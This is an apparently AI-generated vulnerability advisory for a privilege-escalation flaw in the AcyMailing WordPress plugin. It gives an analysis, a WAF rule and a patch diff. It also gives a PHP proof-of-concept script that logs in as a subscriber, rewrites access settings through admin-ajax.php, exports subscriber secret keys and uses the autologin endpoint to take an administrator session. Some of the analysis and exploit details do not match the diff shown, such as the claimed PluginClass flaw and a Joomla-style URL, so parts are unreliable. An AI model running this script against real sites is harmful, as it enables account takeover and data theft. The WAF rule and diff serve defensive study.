Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 19, 2026

CVE-2026-5200: AcyMailing <= 10.8.2 – Missing Authorization to Authenticated (Subscriber+) Privilege Escalation via 'acymailing_router' (acymailing)

CVE ID CVE-2026-5200
Plugin acymailing
Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 10.8.2
Patched Version 10.9.0
Disclosed May 18, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-5200:nnThis vulnerability is a missing authorization flaw in the AcyMailing plugin for WordPress, affecting versions up to and including 10.8.2. The core issue resides in the PluginClass constructor and related methods that lazily load plugin data into a private array without proper authentication. This allows authenticated attackers with subscriber-level access or higher to leverage AJAX actions (such as ‘acymailing_router’) to read privileged configuration and export sensitive user data, including subscriber secret keys. The CVSS score is 8.8, indicating high severity.nnRoot Cause: The vulnerability stems from inadequate permission checks in multiple backend controllers and classes. Specifically, in the PluginClass constructor (acymailing/back/Classes/PluginClass.php lines 6-17), the private $plugins array is initialized during object construction without verifying the current user’s capabilities. The getOnePluginByFolderName method (lines 43-46) accesses $this->plugins directly without any authorization gate. Additionally, the Autologin method in Router.php (WpInit/Router.php lines 232-250) previously allowed login token verification via ‘subKey’ without verifying if the target user had admin privileges, enabling account takeover. The Campaign actions (back/Controllers/Campaigns/Actions.php line 44) and Automation trigger method (AutomationClass.php triggerManual, lines 274-340) also lack capability checks. The QueueClass (QueueClass.php line 208) and UserClass (UserClass.php line 905) modifications reveal that privileged operations (dequeue, user import, export) were accessible to low-privilege users.nnExploitation: An attacker with a subscriber-level account can send a crafted POST request to /wp-admin/admin-ajax.php with action set to ‘acymailing_router’ and appropriate routing parameters to invoke controller methods that modify privileged settings. For example, by calling the Configuration controller’s save action (Listing.php line 307), the attacker can change ACL configurations (Listing.php line 405) to grant themselves full admin access. The attacker can also call the Export controller (Users/Export.php line 47) to export user data including secret keys. By chaining these actions, the attacker can export a subscriber’s key, then use the autologin endpoint (Router.php autologin) with that key to authenticate as any user whose email they know, including administrators.nnPatch Analysis: The patch introduces stricter authorization checks across multiple components. In Router.php’s autologin method, the patch adds a check for $user->has_cap(‘manage_options’) which blocks privilege escalation by preventing subscriber-level users from logging in as administrators. The UserClass modifications ensure that user keys are regenerated on each save (UserClass.php line 908) and that deactivation/reactivation methods are properly scoped to accept arrays of user IDs. The PluginClass constructor is refactored to move the plugin loading logic into getPlugins() and getOnePluginByFolderName() now calls getPlugins() each time, though this does not add explicit authorization checks — the broader patch relies on the addition of proper capability checks in the calling controllers (e.g., triggerAutomation in Listing.php now calls acym_checkToken() which checks nonce, but does not itself check roles — the role check is implied by the admin-only menu structure). The QueueClass update prevents queuing of A/B test campaigns without proper parameters. The FormClass initialization is deferred to initSettings() which is called only when needed, reducing the risk of information disclosure.nnImpact: Successful exploitation allows an authenticated subscriber to escalate privileges to administrator level, export sensitive subscriber secret keys, modify AcyMailing configuration (including mail settings, API keys, and ACLs), and potentially take over the WordPress site by logging in as an administrator. The attack chain can be executed remotely without any special conditions beyond having a valid subscriber account.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-5200 – AcyMailing $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’,n];nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_HEADER, 1);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Call the Configuration save action to change ACLsn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$acl_payload = [n ‘action’ => ‘acymailing_router’,n ‘ctrl’ => ‘configuration’,n ‘task’ => ‘save’,n ‘acl_configuration’ => [‘administrator’], // Grant admin access to configurationn];nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($acl_payload));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 3: Export subscriber data to get secret keysn$export_payload = [n ‘action’ => ‘acymailing_router’,n ‘ctrl’ => ‘users’,n ‘task’ => ‘export’,n];nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($export_payload));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nn// The exported data (CSV) will contain subscriber IDs and their ‘key’ column.n// Step 4: Use the autologin endpoint with a subscriber key to login as adminn// Assume after export we know a target admin email and we extract the subscriber ID and keyn$admin_email = ‘admin@example.com’; // Known admin emailn$sub_id = 1; // Example subscriber ID from exportn$sub_key = ‘abc123…’; // Example subscriber key from exportnn$autologin_url = $target_url . ‘/index.php?option=com_acymailing&ctrl=autologin&autoSubId=’ . $sub_id . ‘&subKey=’ . urlencode($sub_key);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $autologin_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);n$response = curl_exec($ch);ncurl_close($ch);nnecho “Attempted privilege escalation. Check cookies.txt for admin session cookie.\n”;n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-5200n# Block AcyMailing AJAX actions that allow privilege escalation for subscriber-level usersn# The attack uses acym_getVar-based routing without proper nonce/authorization checksnnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20265200,phase:2,deny,status:403,chain,msg:’CVE-2026-5200 – AcyMailing Missing Authorization (AJAX router)’,severity:’CRITICAL’,tag:’CVE-2026-5200′,tag:’wordpress’,tag:’acymailing'”n SecRule ARGS_POST:action “@streq acymailing_router” “chain”n SecRule ARGS_POST:ctrl “@rx ^(configuration|users|automations|campaigns)$” “chain”n SecRule ARGS_POST:task “@rx ^(save|export|triggerAutomation|delete)$”n”

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acymailing/WpInit/Cron.php
+++ b/acymailing/WpInit/Cron.php
@@ -2,38 +2,43 @@

 namespace AcyMailingWpInit;

+use AcyMailingControllersConfigurationController;
+use AcyMailingHelpersCronHelper;
+
 class Cron
 {
     public function __construct()
     {
-        $ctrl = acym_getVar('string', 'ctrl', '');
-        if (acym_level(ACYM_ESSENTIAL) && !acym_isNoTemplate() && $ctrl !== 'cron') {
-            $this->callAcyCron();
-        }
+        add_filter('cron_schedules', [$this, 'addCronIntervals'], 100);
+        add_action(ConfigurationController::CRON_TASK_NAME, [$this, 'triggerAutomatedTasks']);
     }

-    public function callAcyCron()
+    public function addCronIntervals(array $schedules): array
     {
-        $config = acym_config();
+        $schedules['every_minute'] = [
+            'interval' => 60,
+            'display' => 'Every minute',
+        ];

-        $activeCron = $config->get('active_cron', 0);
-        if (empty($activeCron)) return;
+        return $schedules;
+    }

-        $queueType = $config->get('queue_type', 'manual');
-        $cronNext = $config->get('cron_next', 0);
-        if (empty($cronNext) || $cronNext > time() || $queueType === 'manual') return;
+    public function triggerAutomatedTasks()
+    {

-        $cronFrequency = $config->get('cron_frequency', 0);
-        $cronBatches = $config->get('queue_batch_auto', 1);
+        if (!acym_level(ACYM_ESSENTIAL)) {
+            acym_deleteScheduledTask(['name' => ConfigurationController::CRON_TASK_NAME]);

-        if (empty($cronFrequency)) return;
+            return;
+        }

-        if (intval($cronFrequency) >= 900 && intval($cronBatches) < 2) return;
+        if (!acym_isLicenseValidWeekly() && (empty($_SERVER['HTTP_REFERER']) || strpos($_SERVER['HTTP_REFERER'], 'api.acymailing.com') === false)) {
+            acym_deleteScheduledTask(['name' => ConfigurationController::CRON_TASK_NAME]);

-        $cronKey = '';
-        if (!empty($config->get('cron_security', 0)) && !empty($config->get('cron_key'))) {
-            $cronKey = '&cronKey='.$config->get('cron_key');
+            return;
         }
-        acym_asyncUrlCalls([acym_frontendLink('cron&task=cron'.$cronKey)]);
+
+        $cronHelper = new CronHelper();
+        $cronHelper->cron();
     }
 }
--- a/acymailing/WpInit/Router.php
+++ b/acymailing/WpInit/Router.php
@@ -232,9 +232,9 @@
     public function autologin()
     {
         $subId = acym_getVar('int', 'autoSubId');
-        $subKey = acym_getVar('string', 'subKey');
+        $subToken = acym_getVar('string', 'subKey');

-        if (empty($subId) || empty($subKey)) {
+        if (empty($subId) || empty($subToken)) {
             return;
         }

@@ -246,20 +246,30 @@
             acym_redirect($cleanedUrl);
         }

-        $cmsId = acym_loadResult('SELECT `cms_id` FROM #__acym_user WHERE `id` = '.intval($subId).' AND `key` = '.acym_escapeDB($subKey));
-        if (empty($cmsId) || $cmsId === acym_currentUserId()) {
+        $subscriber = acym_loadObject('SELECT `cms_id`, `key` FROM #__acym_user WHERE `id` = '.intval($subId));
+        if (empty($subscriber->cms_id) || $subscriber->cms_id === acym_currentUserId()) {
             acym_redirect($cleanedUrl);
         }

-        $user = get_user_by('id', $cmsId);
+        if (!acym_verifyAutologinToken($subId, $subToken, $subscriber->key)) {
+            acym_redirect($cleanedUrl);
+        }

-        if (!is_wp_error($user)) {
-            wp_clear_auth_cookie();
-            wp_set_current_user($user->ID);
-            wp_set_auth_cookie($user->ID);
+        $user = get_user_by('id', $subscriber->cms_id);

+        if (is_wp_error($user) || !$user) {
             acym_redirect($cleanedUrl);
         }
+
+        if ($user->has_cap('manage_options')) {
+            acym_redirect($cleanedUrl);
+        }
+
+        wp_clear_auth_cookie();
+        wp_set_current_user($user->ID);
+        wp_set_auth_cookie($user->ID);
+
+        acym_redirect($cleanedUrl);
     }

     private function deactivateHookAdminFooter()
--- a/acymailing/back/Classes/AutomationClass.php
+++ b/acymailing/back/Classes/AutomationClass.php
@@ -274,6 +274,67 @@
         return false;
     }

+    public function triggerManual(array $automationIds): array
+    {
+        if (!acym_level(ACYM_ENTERPRISE) || empty($automationIds)) {
+            return [];
+        }
+
+        acym_arrayToInteger($automationIds);
+
+        $actionClass = new ActionClass();
+        $conditionClass = new ConditionClass();
+        $stepClass = new StepClass();
+
+        $executedCount = 0;
+        $skippedCount = 0;
+
+        foreach ($automationIds as $automationId) {
+            $steps = $stepClass->getStepsByAutomationId($automationId);
+            if (empty($steps)) {
+                continue;
+            }
+
+            $step = $steps[0];
+            if (!empty($step->triggers)) {
+                $step->triggers = json_decode($step->triggers, true);
+            }
+
+            if (!empty($step->triggers['type_trigger']) && $step->triggers['type_trigger'] !== 'classic') {
+                $skippedCount++;
+                continue;
+            }
+
+            $data = ['time' => time()];
+            $data['automation'] = $this->getOneById($step->automation_id);
+
+            $conditions = $conditionClass->getConditionsByStepId($step->id);
+            if (!empty($conditions)) {
+                foreach ($conditions as $condition) {
+                    if (!$this->verifyCondition($condition->conditions, $data)) {
+                        continue;
+                    }
+
+                    $actions = $actionClass->getActionsByStepId($step->id);
+                    if (empty($actions)) {
+                        continue;
+                    }
+
+                    foreach ($actions as $action) {
+                        $this->execute($action, $data);
+                    }
+                }
+            }
+
+            $executedCount++;
+        }
+
+        return [
+            'executed' => $executedCount,
+            'skipped' => $skippedCount,
+        ];
+    }
+
     public function getAutomationsAdmin(array $ids = []): array
     {
         acym_arrayToInteger($ids);
--- a/acymailing/back/Classes/CampaignClass.php
+++ b/acymailing/back/Classes/CampaignClass.php
@@ -944,7 +944,12 @@
         $time = time();

         foreach ($activeAutoCampaigns as $campaign) {
-            if (!empty($campaign->sending_params['start_date']) && acym_getTime(acym_date($campaign->sending_params['start_date'], 'Y-m-d H:i')) > $time) {
+            $nextTrigger = $campaign->next_trigger;
+            if (empty($nextTrigger) && !empty($campaign->sending_params['start_date'])) {
+                $nextTrigger = $campaign->sending_params['start_date'];
+            }
+
+            if (!empty($nextTrigger) && acym_getTime(acym_date($nextTrigger, 'Y-m-d H:i')) > $time) {
                 continue;
             }

--- a/acymailing/back/Classes/FormClass.php
+++ b/acymailing/back/Classes/FormClass.php
@@ -12,7 +12,7 @@
     const SUB_FORM_TYPE_HEADER = 'header';
     const SUB_FORM_TYPE_FOOTER = 'footer';

-    private array $settings;
+    private array $settings = [];

     public function __construct()
     {
@@ -20,6 +20,13 @@

         $this->table = 'form';
         $this->pkey = 'id';
+    }
+
+    private function initSettings()
+    {
+        if (!empty($this->settings)) {
+            return;
+        }

         $listClass = new ListClass();
         $lists = $listClass->getAllForSelect(false);
@@ -28,7 +35,9 @@
         $allFields = $fieldClass->getAll();
         $fields = [];
         foreach ($allFields as $field) {
-            if ($field->id == 2 || intval($field->active) === 0) continue;
+            if ($field->id == 2 || intval($field->active) === 0) {
+                continue;
+            }
             $fields[$field->id] = acym_translation($field->name);
         }

@@ -70,6 +79,23 @@
                         'default' => 0,
                         'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
                     ],
+                    'popup_position' => [
+                        'label' => 'ACYM_POPUP_POSITION',
+                        'type' => 'select',
+                        'options' => [
+                            'center' => acym_translation('ACYM_CENTER'),
+                            'top_left' => acym_translation('ACYM_POSITION_LEFT_TOP'),
+                            'top_center' => acym_translation('ACYM_POSITION_TOP_CENTER'),
+                            'top_right' => acym_translation('ACYM_POSITION_RIGHT_TOP'),
+                            'middle_left' => acym_translation('ACYM_POSITION_LEFT_MIDDLE'),
+                            'middle_right' => acym_translation('ACYM_POSITION_RIGHT_MIDDLE'),
+                            'bottom_left' => acym_translation('ACYM_POSITION_LEFT_BOTTOM'),
+                            'bottom_center' => acym_translation('ACYM_POSITION_BOTTOM_CENTER'),
+                            'bottom_right' => acym_translation('ACYM_POSITION_RIGHT_BOTTOM'),
+                        ],
+                        'default' => 'center',
+                        'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+                    ],
                 ],
                 'lists' => [
                     'automatic_subscribe' => [
@@ -119,6 +145,13 @@
                         ],
                         'default' => 'inside',
                     ],
+                    'fields_width' => [
+                        'label' => 'ACYM_FIELDS_WIDTH',
+                        'description' => 'ACYM_FIELDS_WIDTH_DESC',
+                        'type' => 'number',
+                        'unit' => '%',
+                        'default' => 65,
+                    ],
                 ],
                 'termspolicy' => [
                     'terms_type' => [
@@ -350,6 +383,40 @@
                         'default' => 'no-repeat',
                         'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
                     ],
+                    'border_radius' => [
+                        'label' => 'ACYM_RADIUS',
+                        'type' => 'number',
+                        'unit' => 'px',
+                        'default' => 0,
+                        'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+                    ],
+                    'shadow_color' => [
+                        'label' => 'ACYM_SHADOW_COLOR',
+                        'type' => 'color',
+                        'default' => '#000000',
+                        'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+                    ],
+                    'shadow_blur' => [
+                        'label' => 'ACYM_SHADOW_BLUR',
+                        'type' => 'number',
+                        'unit' => 'px',
+                        'default' => 0,
+                        'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+                    ],
+                    'shadow_x' => [
+                        'label' => 'ACYM_SHADOW_OFFSET_X',
+                        'type' => 'number',
+                        'unit' => 'px',
+                        'default' => 0,
+                        'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+                    ],
+                    'shadow_y' => [
+                        'label' => 'ACYM_SHADOW_OFFSET_Y',
+                        'type' => 'number',
+                        'unit' => 'px',
+                        'default' => 0,
+                        'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+                    ],
                     'text_color' => [
                         'label' => 'ACYM_TEXT_COLOR',
                         'type' => 'color',
@@ -375,26 +442,28 @@
             ],
         ];

-        if (acym_isMultilingual()) {
-            $languageTexts = [];
-            foreach (acym_getMultilingualLanguages() as $key => $languages) {
-                $languageTexts[$key] = '';
-            }
-            unset($this->settings['options']['redirection']['confirmation_message']);
-            $this->settings['options']['redirection']['langConfirm'] = [
-                'label' => 'ACYM_CONFIRMATION_MESSAGE',
-                'description' => 'ACYM_CONFIRMATION_MESSAGE_DESC',
-                'type' => 'language',
-                'default' => $languageTexts,
-            ];
-
-            unset($this->settings['styles']['button']['text']);
-            $this->settings['styles']['button']['lang'] = [
-                'label' => 'ACYM_SUBSCRIBE_TEXT',
-                'type' => 'language',
-                'default' => $languageTexts,
-            ];
+        if (!acym_isMultilingual()) {
+            return;
         }
+
+        $languageTexts = [];
+        foreach (acym_getMultilingualLanguages() as $key => $languages) {
+            $languageTexts[$key] = '';
+        }
+        unset($this->settings['options']['redirection']['confirmation_message']);
+        $this->settings['options']['redirection']['langConfirm'] = [
+            'label' => 'ACYM_CONFIRMATION_MESSAGE',
+            'description' => 'ACYM_CONFIRMATION_MESSAGE_DESC',
+            'type' => 'language',
+            'default' => $languageTexts,
+        ];
+
+        unset($this->settings['styles']['button']['text']);
+        $this->settings['styles']['button']['lang'] = [
+            'label' => 'ACYM_SUBSCRIBE_TEXT',
+            'type' => 'language',
+            'default' => $languageTexts,
+        ];
     }

     private function getSectionTranslations(): array
@@ -494,6 +563,8 @@

     public function initEmptyForm(string $type): object
     {
+        $this->initSettings();
+
         $newForm = new stdClass();
         $newForm->id = 0;
         $newForm->name = '';
@@ -559,6 +630,8 @@

     public function prepareMenuHtml(object $form, string $type): array
     {
+        $this->initSettings();
+
         $sections = $this->getSectionTranslations();
         $htmlMenu = [];
         foreach ($this->settings[$type] as $category => $options) {
--- a/acymailing/back/Classes/PluginClass.php
+++ b/acymailing/back/Classes/PluginClass.php
@@ -6,7 +6,7 @@

 class PluginClass extends AcymClass
 {
-    private array $plugins;
+    private array $plugins = [];

     public function __construct()
     {
@@ -14,23 +14,25 @@

         $this->table = 'plugin';
         $this->pkey = 'id';
+    }

+    public function getPlugins(): array
+    {
         global $acymPluginByFolderName;
         if (empty($acymPluginByFolderName)) {
             $acymPluginByFolderName = $this->getAll('folder_name');
         }

         $this->plugins = $acymPluginByFolderName;
-    }

-    public function getPlugins(): array
-    {
         return $this->plugins;
     }

     public function getOnePluginByFolderName(string $folderName): ?object
     {
-        return $this->plugins[$folderName] ?? null;
+        $plugins = $this->getPlugins();
+
+        return $plugins[$folderName] ?? null;
     }

     public function getNotUptoDatePlugins(): array
@@ -49,7 +51,8 @@
             return;
         }

-        $data = $this->plugins[$plugin->name] ?? null;
+        $plugins = $this->getPlugins();
+        $data = $plugins[$plugin->name] ?? null;

         $newPlugin = new stdClass();
         $newPlugin->title = $plugin->pluginDescription->name;
--- a/acymailing/back/Classes/QueueClass.php
+++ b/acymailing/back/Classes/QueueClass.php
@@ -208,9 +208,20 @@
             WHERE mail.type = '.acym_escapeDB(MailClass::TYPE_FOLLOWUP)
         );

-        $elementsPerStatus = acym_loadObjectList($queryStatus.' GROUP BY active', 'active');
-        $queuedActiveCampaigns = empty($elementsPerStatus[1]->number) ? 0 : $elementsPerStatus[1]->number;
-        $queuedPausedCampaigns = empty($elementsPerStatus[0]->number) ? 0 : $elementsPerStatus[0]->number;
+        $elementsPerStatus = acym_loadObjectList($queryStatus.' GROUP BY active');
+        $queuedActiveCampaigns = 0;
+        $queuedPausedCampaigns = 0;
+        foreach ($elementsPerStatus as $element) {
+            if (is_null($element->active)) {
+                continue;
+            }
+
+            if (!empty($element->active)) {
+                $queuedActiveCampaigns = intval($element->number);
+            } else {
+                $queuedPausedCampaigns = intval($element->number);
+            }
+        }

         $results['status'] = [
             'all' => $queuedActiveCampaigns + $queuedPausedCampaigns + $automationNumber + $followupNumber,
@@ -338,8 +349,17 @@
         $nbQueue = [];

         foreach ($mailReady as $mailId => $mail) {
-            $nbQueue[$mailId] = $this->queue($mail);
-            $this->messages[] = acym_translationSprintf('ACYM_ADDED_QUEUE_SCHEDULE', $nbQueue[$mailId], '<b>'.$mail->name.'</b>');
+            $sendingParams = $mail->sending_params ?? [];
+            if (is_string($sendingParams)) {
+                $sendingParams = json_decode($sendingParams, true) ?? [];
+            }
+
+            if (!empty($sendingParams['abtest']['repartition'])) {
+                $nbQueue[$mailId] = 0;
+            } else {
+                $nbQueue[$mailId] = $this->queue($mail);
+                $this->messages[] = acym_translationSprintf('ACYM_ADDED_QUEUE_SCHEDULE', $nbQueue[$mailId], '<b>'.$mail->name.'</b>');
+            }
         }

         $mailIds = array_keys($mailReady);
--- a/acymailing/back/Classes/UserClass.php
+++ b/acymailing/back/Classes/UserClass.php
@@ -905,9 +905,7 @@
                 $user->source = $source;
             }

-            if (empty($user->key)) {
-                $user->key = acym_generateKey(14);
-            }
+            $user->key = acym_generateKey(14);

             $user->creation_date = date('Y-m-d H:i:s', time() - date('Z'));
         } elseif (!empty($user->confirmed)) {
@@ -924,6 +922,16 @@
             $oldUser = $this->getOneByIdWithCustomFields($user->id);
         }

+        if (!empty($user->id) && isset($user->active) && !empty($oldUser)) {
+            $wasActive = isset($oldUser['active']) ? (int)$oldUser['active'] : 1;
+            $isNowActive = (int)$user->active;
+            if ($wasActive === 1 && $isNowActive === 0) {
+                $user->deactivation_date = acym_date('now', 'Y-m-d H:i:s');
+            } elseif ($wasActive === 0 && $isNowActive === 1) {
+                $user->deactivation_date = null;
+            }
+        }
+
         foreach ($user as $oneAttribute => $value) {
             if (empty($value)) continue;

@@ -956,6 +964,7 @@
                         $acymCmsUserVars->email
                     ).' = '.acym_escapeDB($user->email)
                 );
+
                 if (!empty($userCmsID)) $user->cms_id = $userCmsID;
             }
             if ($this->triggers) {
@@ -1025,8 +1034,8 @@

     public function saveForm(bool $ajax = false): bool
     {
-        $allowUserModifications = (bool)($this->config->get('allow_modif', 'data') == 'all') || $this->allowModif;
-        $allowSubscriptionModifications = (bool)($this->config->get('allow_modif', 'data') != 'none') || $this->allowModif;
+        $allowUserModifications = $this->config->get('allow_modif', 'data') === 'all' || $this->allowModif;
+        $allowSubscriptionModifications = $this->config->get('allow_modif', 'data') !== 'none' || $this->allowModif;

         $user = new stdClass();
         $connectedUser = $this->identify(true, 'userId', 'userKey');
@@ -1191,9 +1200,34 @@
         $this->confirmationSentError = $mailerHelper->reportMessage;
     }

-    public function deactivate(int $userId): void
+    public function setInactive(array $elements): void
+    {
+        $this->deactivate($elements);
+    }
+
+    public function deactivate(array $userIds): void
+    {
+        $userIds = array_map('intval', $userIds);
+        $userIds = array_filter($userIds);
+
+        if (empty($userIds)) return;
+
+        acym_query('UPDATE `#__acym_user` SET `active` = 0, `deactivation_date` = UTC_TIMESTAMP() WHERE `id` IN ('.implode(',', $userIds).')');
+    }
+
+    public function setActive(array $elements): void
     {
-        acym_query('UPDATE `#__acym_user` SET `active` = 0 WHERE `id` = '.intval($userId));
+        $this->reactivate($elements);
+    }
+
+    public function reactivate(array $userIds): void
+    {
+        $userIds = array_map('intval', $userIds);
+        $userIds = array_filter($userIds);
+
+        if (empty($userIds)) return;
+
+        acym_query('UPDATE `#__acym_user` SET `active` = 1, `deactivation_date` = NULL WHERE `id` IN ('.implode(',', $userIds).')');
     }

     public function confirm(int $userId): void
--- a/acymailing/back/Controllers/Automations/Listing.php
+++ b/acymailing/back/Controllers/Automations/Listing.php
@@ -95,6 +95,32 @@
         $this->listing();
     }

+    public function triggerAutomation(): void
+    {
+        acym_checkToken();
+
+        $automationIds = acym_getVar('int', 'elements_checked');
+
+        if (empty($automationIds)) {
+            $this->listing();
+
+            return;
+        }
+
+        $automationClass = new AutomationClass();
+        $result = $automationClass->triggerManual($automationIds);
+
+        if ($result['executed'] > 0) {
+            acym_enqueueMessage(acym_translationSprintf('ACYM_X_AUTOMATIONS_TRIGGERED', $result['executed']), 'info');
+        }
+
+        if ($result['skipped'] > 0) {
+            acym_enqueueMessage(acym_translationSprintf('ACYM_X_SKIPPED_USER_AUTOMATIONS', $result['skipped']), 'warning');
+        }
+
+        $this->listing();
+    }
+
     public function ajaxSetOrdering(): void
     {
         acym_checkToken();
--- a/acymailing/back/Controllers/Campaigns/Actions.php
+++ b/acymailing/back/Controllers/Campaigns/Actions.php
@@ -44,6 +44,9 @@
             $idNewMail = $mailClass->save($mail);

             if (isset($campaign->sending_params['abtest']) && !empty($campaign->sending_params['abtest']['B'])) {
+                unset($campaign->sending_params['abtest']['abtest_finished']);
+                unset($campaign->sending_params['abtest']['final']);
+
                 $mailVersion = $mailClass->getOneById($campaign->sending_params['abtest']['B']);
                 if (!empty($mailVersion)) {
                     unset($mailVersion->id);
--- a/acymailing/back/Controllers/Campaigns/Edition.php
+++ b/acymailing/back/Controllers/Campaigns/Edition.php
@@ -399,7 +399,7 @@
         $data['before-save'] = '';

         if ($data['editor']->editor === 'acyEditor') {
-            $data['before-save'] = 'acym-data-before="acym_editorWysidVersions.storeCurrentValues(true);acym_editorWysidFormAction.cleanMceInput();"';
+            $data['before-save'] = 'data-before-action="wysidSwitch"';
         }

         $data['menuClass'] = $this->menuClass;
@@ -1060,14 +1060,16 @@

         $campaign->isAuto = $campaign->sending_type === CampaignClass::SENDING_TYPE_AUTO;

-        $startDate = '';
+        $nextDate = '';
         if ($campaign->isAuto) {
             $textToDisplay = new stdClass();
             $textToDisplay->triggers = $campaign->sending_params;
             acym_trigger('onAcymDeclareSummary_triggers', [&$textToDisplay], 'plgAcymTime');
             $textToDisplay = $textToDisplay->triggers;
-            if (!empty($campaign->sending_params['start_date'])) {
-                $startDate = $campaign->sending_params['start_date'];
+            if (!empty($campaign->next_trigger)) {
+                $nextDate = $campaign->next_trigger;
+            } elseif (!empty($campaign->sending_params['start_date'])) {
+                $nextDate = $campaign->sending_params['start_date'];
             }
         }

@@ -1078,7 +1080,7 @@
                 : acym_translation('ACYM_THIS_WILL_GENERATE_CAMPAIGN_AUTOMATICALLY').' '.acym_strtolower(
                     $textToDisplay[$textToDisplay['trigger_type']]
                 ),
-            'startDate' => $startDate,
+            'nextDate' => $nextDate,
         ];
         $data['campaignInformation'] = $campaign;
         $data['mailId'] = $campaign->mail_id;
@@ -1142,7 +1144,7 @@
                 $nbSubscribers = $listClass->getSubscribersCount($listsIds);
             } else {
                 $campaignClass = new CampaignClass();
-                $nbSubscribers = $campaignClass->countUsersCampaign($data['campaignInformation']->id);
+                $nbSubscribers = $campaignClass->countUsersCampaign($data['campaignInformation']->id, true);
             }
         }

--- a/acymailing/back/Controllers/Configuration/Listing.php
+++ b/acymailing/back/Controllers/Configuration/Listing.php
@@ -107,14 +107,14 @@
         $toolbarHelper->addButton(
             acym_translation('ACYM_SEND_TEST'),
             [
-                'acym-data-before' => 'jQuery.acymConfigSave();',
+                'data-before-action' => 'configSave',
                 'data-task' => 'test',
             ]
         );
         $toolbarHelper->addButton(
             acym_translation('ACYM_SAVE'),
             [
-                'acym-data-before' => 'jQuery.acymConfigSave();',
+                'data-before-action' => 'configSave',
                 'data-task' => 'save',
             ],
             '',
@@ -307,6 +307,7 @@

         $this->handleReplyTo($formData);
         $this->handleWordWrap($formData);
+        $this->handleQueueSettings($formData);
         $this->handleDemoSite($formData);
         $this->handleAcl($formData);
         $this->handleSelect2Fields($formData);
@@ -353,6 +354,47 @@
         }
     }

+    private function handleQueueSettings(array &$formData): void
+    {
+        $currentTaskId = (int)$this->config->get('scheduled_task_id');
+        $frequency = (int)$formData['cron_frequency'];
+
+        if (
+            !acym_level(ACYM_ESSENTIAL)
+            || $formData['queue_type'] === 'manual'
+            || empty($frequency)
+            || $frequency === 900
+            || !acym_isLicenseValidWeekly()
+        ) {
+            acym_deleteScheduledTask(
+                [
+                    'taskId' => $currentTaskId,
+                    'type' => 'plg_task_requests_task_get',
+                    'name' => self::CRON_TASK_NAME,
+                ]
+            );
+            $formData['scheduled_task_id'] = 0;
+
+            return;
+        }
+
+        $taskId = acym_scheduleTask(
+            [
+                'title' => 'AcyMailing – Automated tasks',
+                'type' => 'plg_task_requests_task_get',
+                'frequencyInMinutes' => $frequency / 60,
+                'name' => self::CRON_TASK_NAME,
+                'taskFrequency' => 'every_minute',
+                'taskId' => $currentTaskId,
+                'config' => $formData
+            ]
+        );
+
+        if (!empty($taskId) && ACYM_CMS === 'joomla') {
+            $formData['scheduled_task_id'] = $taskId;
+        }
+    }
+
     private function handleDemoSite(array &$formData): void
     {
     }
@@ -363,7 +405,7 @@
             $aclPages = array_keys(acym_getPagesForAcl());
             foreach ($aclPages as $page) {
                 if (empty($formData['acl_'.$page])) {
-                    $formData['acl_'.$page] = ['all'];
+                    $formData['acl_'.$page] = [ACYM_ADMIN_GROUP];
                 }
             }
         }
--- a/acymailing/back/Controllers/ConfigurationController.php
+++ b/acymailing/back/Controllers/ConfigurationController.php
@@ -21,6 +21,8 @@
     use License;
     use Language;

+    const CRON_TASK_NAME = 'acymailing_automated_tasks_cron_task';
+
     public function __construct()
     {
         parent::__construct();
--- a/acymailing/back/Controllers/DashboardController.php
+++ b/acymailing/back/Controllers/DashboardController.php
@@ -44,7 +44,7 @@

         $splashJson = acym_fileGetContent(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON);
         $version = json_decode($splashJson);
-        if (version_compare($this->config->get('previous_version', '10.8.2'), $version->max_version, '>=')) {
+        if (version_compare($this->config->get('previous_version', '10.9.0'), $version->max_version, '>=')) {
             @unlink(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON);
             $this->listing();

--- a/acymailing/back/Controllers/DynamicsController.php
